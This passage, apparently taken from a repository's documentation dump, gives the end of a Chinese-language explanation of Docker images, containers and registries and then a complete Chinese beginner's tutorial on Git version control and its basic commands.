4.1 镜像(Image):一个特殊的文件系统\n\n　　**操作系统分为内核和用户空间**。对于 Linux 而言，内核启动后，会挂载 root 文件系统为其提供用户空间支持。而Docker 镜像（Image），就相当于是一个 root 文件系统。\n\n　　**Docker 镜像是一个特殊的文件系统，除了提供容器运行时所需的程序、库、资源、配置等文件外，还包含了一些为运行时准备的一些配置参数（如匿名卷、环境变量、用户等）。** 镜像不包含任何动态数据，其内容在构建之后也不会被改变。\n\n　　Docker 设计时，就充分利用 **Union FS**的技术，将其设计为 **分层存储的架构** 。 镜像实际是由多层文件系统联合组成。\n\n　　**镜像构建时，会一层层构建，前一层是后一层的基础。每一层构建完就不会再发生改变，后一层上的任何改变只发生在自己这一层。**　比如，删除前一层文件的操作，实际不是真的删除前一层的文件，而是仅在当前层标记为该文件已删除。在最终容器运行的时候，虽然不会看到这个文件，但是实际上该文件会一直跟随镜像。因此，在构建镜像的时候，需要额外小心，每一层尽量只包含该层需要添加的东西，任何额外的东西应该在该层构建结束前清理掉。\n\n　　分层存储的特征还使得镜像的复用、定制变的更为容易。甚至可以用之前构建好的镜像作为基础层，然后进一步添加新的层，以定制自己所需的内容，构建新的镜像。\n\n### 4.2 容器(Container):镜像运行时的实体\n\n　　镜像（Image）和容器（Container）的关系，就像是面向对象程序设计中的 类 和 实例 一样，镜像是静态的定义，**容器是镜像运行时的实体。容器可以被创建、启动、停止、删除、暂停等** 。\n\n　　**容器的实质是进程，但与直接在宿主执行的进程不同，容器进程运行于属于自己的独立的 命名空间。前面讲过镜像使用的是分层存储，容器也是如此。**\n\n　　**容器存储层的生存周期和容器一样，容器消亡时，容器存储层也随之消亡。因此，任何保存于容器存储层的信息都会随容器删除而丢失。**\n\n　　按照 Docker 最佳实践的要求，**容器不应该向其存储层内写入任何数据** ，容器存储层要保持无状态化。**所有的文件写入操作，都应该使用数据卷（Volume）、或者绑定宿主目录**，在这些位置的读写会跳过容器存储层，直接对宿主(或网络存储)发生读写，其性能和稳定性更高。数据卷的生存周期独立于容器，容器消亡，数据卷不会消亡。因此， **使用数据卷后，容器可以随意删除、重新 run ，数据却不会丢失。**\n\n\n### 4.3仓库(Repository):集中存放镜像文件的地方\n\n　　镜像构建完成后，可以很容易的在当前宿主上运行，但是， **如果需要在其它服务器上使用这个镜像，我们就需要一个集中的存储、分发镜像的服务，Docker Registry就是这样的服务。**\n\n　　一个 Docker Registry中可以包含多个仓库（Repository）；每个仓库可以包含多个标签（Tag）；每个标签对应一个镜像。所以说：**镜像仓库是Docker用来集中存放镜像文件的地方类似于我们之前常用的代码仓库。**\n\n　　通常，**一个仓库会包含同一个软件不同版本的镜像**，而**标签就常用于对应该软件的各个版本** 。我们可以通过```<仓库名>:<标签>```的格式来指定具体是这个软件哪个版本的镜像。如果不给出标签，将以 latest 作为默认标签.。\n\n**这里补充一下Docker Registry 公开服务和私有 Docker Registry的概念：**\n\n　　**Docker Registry 公开服务** 是开放给用户使用、允许用户管理镜像的 Registry 服务。一般这类公开服务允许用户免费上传、下载公开的镜像，并可能提供收费服务供用户管理私有镜像。\n\n　　最常使用的 Registry 公开服务是官方的 **Docker Hub** ，这也是默认的 Registry，并拥有大量的高质量的官方镜像，网址为：[https://hub.docker.com/](https://hub.docker.com/) 。在国内访问**Docker Hub** 可能会比较慢国内也有一些云服务商提供类似于 Docker Hub 的公开服务。比如 [时速云镜像库](https://hub.tenxcloud.com/)、[网易云镜像服务](https://www.163yun.com/product/repo)、[DaoCloud 镜像市场](https://www.daocloud.io/)、[阿里云镜像库](https://www.aliyun.com/product/containerservice?utm_content=se_1292836)等。\n\n　　除了使用公开服务外，用户还可以在 **本地搭建私有 Docker Registry** 。Docker 官方提供了 Docker Registry 镜像，可以直接使用做为私有 Registry 服务。开源的 Docker Registry 镜像只提供了 Docker Registry API 的服务端实现，足以支持 docker 命令，不影响使用。但不包含图形界面，以及镜像维护、用户管理、访问控制等高级功能。\n\n---\n\n> Docker的概念基本上已经讲完，最后我们谈谈：Build, Ship, and Run。\n\n## 五 最后谈谈:Build Ship and Run\n如果你搜索Docker官网，会发现如下的字样：**“Docker - Build, Ship, and Run Any App, Anywhere”**。那么Build, Ship, and Run到底是在干什么呢？\n\n![build ship run](https://user-gold-cdn.xitu.io/2018/6/18/16411c521e79bd82?w=486&h=255&f=png&s=185903)\n\n- **Build（构建镜像）** ： 镜像就像是集装箱包括文件以及运行环境等等资源。\n- **Ship（运输镜像）** ：主机和仓库间运输，这里的仓库就像是超级码头一样。\n- **Run （运行镜像）** ：运行的镜像就是一个容器，容器就是运行程序的地方。\n\n**Docker 运行过程也就是去仓库把镜像拉到本地，然后用一条命令把镜像运行起来变成容器。所以，我们也常常将Docker称为码头工人或码头装卸工，这和Docker的中文翻译搬运工人如出一辙。**\n\n## 六 总结\n\n本文主要把Docker中的一些常见概念做了详细的阐述，但是并不涉及Docker的安装、镜像的使用、容器的操作等内容。这部分东西，希望读者自己可以通过阅读书籍与官方文档的形式掌握。如果觉得官方文档阅读起来很费力的话，这里推荐一本书籍《Docker技术入门与实战第二版》。\n\n\n\n\n\n\n\n"
  },
  {
    "path": "docs/tools/Git.md",
    "content": "<!-- TOC -->\n\n- [版本控制](#版本控制)\n    - [什么是版本控制](#什么是版本控制)\n    - [为什么要版本控制](#为什么要版本控制)\n    - [本地版本控制系统](#本地版本控制系统)\n    - [集中化的版本控制系统](#集中化的版本控制系统)\n    - [分布式版本控制系统](#分布式版本控制系统)\n- [认识 Git](#认识-git)\n    - [Git 简史](#git-简史)\n    - [Git 与其他版本管理系统的主要区别](#git-与其他版本管理系统的主要区别)\n    - [Git 的三种状态](#git-的三种状态)\n- [Git 使用快速入门](#git-使用快速入门)\n    - [获取 Git 仓库](#获取-git-仓库)\n    - [记录每次更新到仓库](#记录每次更新到仓库)\n    - [推送改动到远程仓库](#推送改动到远程仓库)\n    - [远程仓库的移除与重命名](#远程仓库的移除与重命名)\n    - [查看提交历史](#查看提交历史)\n    - [撤销操作](#撤销操作)\n    - [分支](#分支)\n- [推荐阅读](#推荐阅读)\n\n<!-- /TOC -->\n\n## 版本控制\n\n### 什么是版本控制\n\n版本控制是一种记录一个或若干文件内容变化，以便将来查阅特定版本修订情况的系统。 除了项目源代码，你可以对任何类型的文件进行版本控制。\n\n### 为什么要版本控制\n\n有了它你就可以将某个文件回溯到之前的状态，甚至将整个项目都回退到过去某个时间点的状态，你可以比较文件的变化细节，查出最后是谁修改了哪个地方，从而找出导致怪异问题出现的原因，又是谁在何时报告了某个功能缺陷等等。\n\n### 本地版本控制系统\n\n许多人习惯用复制整个项目目录的方式来保存不同的版本，或许还会改名加上备份时间以示区别。 这么做唯一的好处就是简单，但是特别容易犯错。 有时候会混淆所在的工作目录，一不小心会写错文件或者覆盖意想外的文件。\n\n为了解决这个问题，人们很久以前就开发了许多种本地版本控制系统，大多都是采用某种简单的数据库来记录文件的历次更新差异。\n\n![本地版本控制系统](https://my-blog-to-use.oss-cn-beijing.aliyuncs.com/2019-3/本地版本控制系统.png)\n\n### 集中化的版本控制系统\n\n接下来人们又遇到一个问题，如何让在不同系统上的开发者协同工作？ 于是，集中化的版本控制系统（Centralized Version Control Systems，简称 CVCS）应运而生。 \n\n集中化的版本控制系统都有一个单一的集中管理的服务器，保存所有文件的修订版本，而协同工作的人们都通过客户端连到这台服务器，取出最新的文件或者提交更新。\n\n![集中化的版本控制系统](https://my-blog-to-use.oss-cn-beijing.aliyuncs.com/2019-3/集中化的版本控制系统.png)\n\n这么做虽然解决了本地版本控制系统无法让在不同系统上的开发者协同工作的诟病，但也还是存在下面的问题：\n\n- **单点故障：** 中央服务器宕机，则其他人无法使用；如果中心数据库磁盘损坏有没有进行备份，你将丢失所有数据。本地版本控制系统也存在类似问题，只要整个项目的历史记录被保存在单一位置，就有丢失所有历史更新记录的风险。\n- **必须联网才能工作：** 受网络状况、带宽影响。\n\n### 分布式版本控制系统\n\n于是分布式版本控制系统（Distributed Version Control System，简称 DVCS）面世了。 Git 就是一个典型的分布式版本控制系统。\n\n这类系统，客户端并不只提取最新版本的文件快照，而是把代码仓库完整地镜像下来。 这么一来，任何一处协同工作用的服务器发生故障，事后都可以用任何一个镜像出来的本地仓库恢复。 因为每一次的克隆操作，实际上都是一次对代码仓库的完整备份。\n\n![分布式版本控制系统](https://my-blog-to-use.oss-cn-beijing.aliyuncs.com/2019-3/分布式版本控制系统.png)\n\n分布式版本控制系统可以不用联网就可以工作，因为每个人的电脑上都是完整的版本库，当你修改了某个文件后，你只需要将自己的修改推送给别人就可以了。但是，在实际使用分布式版本控制系统的时候，很少会直接进行推送修改，而是使用一台充当“中央服务器”的东西。这个服务器的作用仅仅是用来方便“交换”大家的修改，没有它大家也一样干活，只是交换修改不方便而已。\n\n分布式版本控制系统的优势不单是不必联网这么简单，后面我们还会看到 Git 极其强大的分支管理等功能。\n\n## 认识 Git\n\n### Git 简史\n\nLinux 内核项目组当时使用分布式版本控制系统 BitKeeper 来管理和维护代码。但是，后来开发 BitKeeper 的商业公司同 Linux 内核开源社区的合作关系结束，他们收回了 Linux 内核社区免费使用 BitKeeper 的权力。 Linux 开源社区（特别是 Linux 的缔造者 Linus Torvalds）基于使用 BitKeeper 时的经验教训，开发出自己的版本系统，而且对新的版本控制系统做了很多改进。 \n\n### Git 与其他版本管理系统的主要区别\n\n Git 在保存和对待各种信息的时候与其它版本控制系统有很大差异，尽管操作起来的命令形式非常相近，理解这些差异将有助于防止你使用中的困惑。\n\n下面我们主要说一个关于 Git 其他版本管理系统的主要差别：**对待数据的方式**。\n\n**Git采用的是直接记录快照的方式，而非差异比较。我后面会详细介绍这两种方式的差别。**\n\n大部分版本控制系统（CVS、Subversion、Perforce、Bazaar 等等）都是以文件变更列表的方式存储信息，这类系统**将它们保存的信息看作是一组基本文件和每个文件随时间逐步累积的差异。**\n\n具体原理如下图所示，理解起来其实很简单，每个我们对提交更新一个文件之后，系统记录都会记录这个文件做了哪些更新，以增量符号Δ(Delta)表示。\n\n<div align=\"center\">  \n<img src=\"https://my-blog-to-use.oss-cn-beijing.aliyuncs.com/2019-3deltas.png\" width=\"500px\"/>\n</br>\n</div>\n\n**我们怎样才能得到一个文件的最终版本呢？**\n\n很简单，高中数学的基本知识，我们只需要将这些原文件和这些增加进行相加就行了。\n\n**这种方式有什么问题呢？**\n\n比如我们的增量特别特别多的话，如果我们要得到最终的文件是不是会耗费时间和性能。\n\nGit 不按照以上方式对待或保存数据。 反之，Git 更像是把数据看作是对小型文件系统的一组快照。 每次你提交更新，或在 Git 中保存项目状态时，它主要对当时的全部文件制作一个快照并保存这个快照的索引。 为了高效，如果文件没有修改，Git 不再重新存储该文件，而是只保留一个链接指向之前存储的文件。 Git 对待数据更像是一个 **快照流**。\n\n<div align=\"center\">  \n<img src=\"https://my-blog-to-use.oss-cn-beijing.aliyuncs.com/2019-3snapshots.png\" width=\"500px\"/>\n</br>\n</div>\n\n\n### Git 的三种状态\n\nGit 有三种状态，你的文件可能处于其中之一：\n\n1. **已提交（committed）**：数据已经安全的保存在本地数据库中。\n2. **已修改（modified）**：已修改表示修改了文件，但还没保存到数据库中。\n3. **已暂存（staged）**：表示对一个已修改文件的当前版本做了标记，使之包含在下次提交的快照中。\n\n由此引入 Git 项目的三个工作区域的概念：**Git 仓库(.git directoty) **、**工作目录(Working Directory)** 以及 **暂存区域(Staging Area)** 。\n\n<div align=\"center\">  \n<img src=\"https://my-blog-to-use.oss-cn-beijing.aliyuncs.com/2019-3areas.png\" width=\"500px\"/>\n</div>\n\n**基本的 Git 工作流程如下：**\n\n1. 在工作目录中修改文件。\n2. 暂存文件，将文件的快照放入暂存区域。\n3. 提交更新，找到暂存区域的文件，将快照永久性存储到 Git 仓库目录。\n\n## Git 使用快速入门\n\n### 获取 Git 仓库\n\n有两种取得 Git 项目仓库的方法。\n\n1. 在现有目录中初始化仓库: 进入项目目录运行  `git init`  命令,该命令将创建一个名为 `.git` 的子目录。\n2. 从一个服务器克隆一个现有的 Git 仓库: `git clone [url]` 自定义本地仓库的名字: `git clone [url]` directoryname \n\n### 记录每次更新到仓库\n\n1. **检测当前文件状态** : `git status`\n2. **提出更改（把它们添加到暂存区**）：`git add filename ` (针对特定文件)、`git add *`(所有文件)、`git add *.txt`（支持通配符，所有 .txt 文件）\n3. **忽略文件**：`.gitignore` 文件\n4. **提交更新:** `git commit -m \"代码提交信息\"` （每次准备提交前，先用 `git status` 看下，是不是都已暂存起来了， 然后再运行提交命令 `git commit`）\n5. **跳过使用暂存区域更新的方式** : `git commit -a -m \"代码提交信息\"`。 `git commit` 加上 `-a` 选项，Git 就会自动把所有已经跟踪过的文件暂存起来一并提交，从而跳过 `git add` 步骤。\n6. **移除文件** ：`git rm filename`  （从暂存区域移除，然后提交。）\n7. **对文件重命名** ：`git mv README.md README`(这个命令相当于`mv README.md README`、`git rm README.md`、`git add README` 这三条命令的集合)\n\n### 推送改动到远程仓库\n\n- 如果你还没有克隆现有仓库，并欲将你的仓库连接到某个远程服务器，你可以使用如下命令添加：·`git remote add origin <server>` ,比如我们要让本地的一个仓库和 Github 上创建的一个仓库关联可以这样`git remote add origin https://github.com/Snailclimb/test.git` \n- 将这些改动提交到远端仓库：`git push origin master` (可以把 *master* 换成你想要推送的任何分支)\n\n  如此你就能够将你的改动推送到所添加的服务器上去了。\n\n### 远程仓库的移除与重命名\n\n- 将 test 重命名位 test1：`git remote rename test test1`\n- 移除远程仓库 test1:`git remote rm test1`\n\n### 查看提交历史\n\n在提交了若干更新，又或者克隆了某个项目之后，你也许想回顾下提交历史。 完成这个任务最简单而又有效的工具是 `git log` 命令。`git log` 会按提交时间列出所有的更新，最近的更新排在最上面。\n\n**可以添加一些参数来查看自己希望看到的内容：**\n\n只看某个人的提交记录：\n\n```shell\ngit log --author=bob\n```\n\n### 撤销操作\n\n有时候我们提交完了才发现漏掉了几个文件没有添加，或者提交信息写错了。 此时，可以运行带有 `--amend` 选项的提交命令尝试重新提交：\n\n```console\ngit commit --amend\n```\n\n取消暂存的文件\n\n```console\ngit reset filename\n```\n\n撤消对文件的修改:\n\n```\ngit checkout -- filename\n```\n\n假如你想丢弃你在本地的所有改动与提交，可以到服务器上获取最新的版本历史，并将你本地主分支指向它：\n\n```\ngit fetch origin\ngit reset --hard origin/master\n```\n\n\n\n### 分支\n\n分支是用来将特性开发绝缘开来的。在你创建仓库的时候，*master* 是“默认的”分支。在其他分支上进行开发，完成后再将它们合并到主分支上。\n\n我们通常在开发新功能、修复一个紧急 bug 等等时候会选择创建分支。单分支开发好还是多分支开发好，还是要看具体场景来说。\n\n创建一个名字叫做 test 的分支\n\n```console\ngit branch test\n```\n\n切换当前分支到 test（当你切换分支的时候，Git 会重置你的工作目录，使其看起来像回到了你在那个分支上最后一次提交的样子。 Git 会自动添加、删除、修改文件以确保此时你的工作目录和这个分支最后一次提交时的样子一模一样）\n\n```console\ngit checkout test\n```\n\n<div align=\"center\">  \n<img src=\"https://my-blog-to-use.oss-cn-beijing.aliyuncs.com/2019-3切换分支.png\" width=\"500px\"/>\n</div>\n\n你也可以直接这样创建分支并切换过去(上面两条命令的合写)\n\n```console\ngit checkout -b feature_x\n```\n\n切换到主分支\n\n```\ngit checkout master\n```\n\n合并分支(可能会有冲突)\n\n```java\n git merge test\n```\n\n把新建的分支删掉\n\n```\ngit branch -d feature_x\n```\n\n将分支推送到远端仓库（推送成功后其他人可见）：\n\n```\ngit push origin \n```\n\n\n\n## 推荐阅读\n\n- [Git - 简明指南](http://rogerdudler.github.io/git-guide/index.zh.html)\n- [图解Git](http://marklodato.github.io/visual-git-guide/index-zh-cn.html)\n- [猴子都能懂得Git入门](https://backlog.com/git-tutorial/cn/intro/intro1_1.html)\n"
  }
]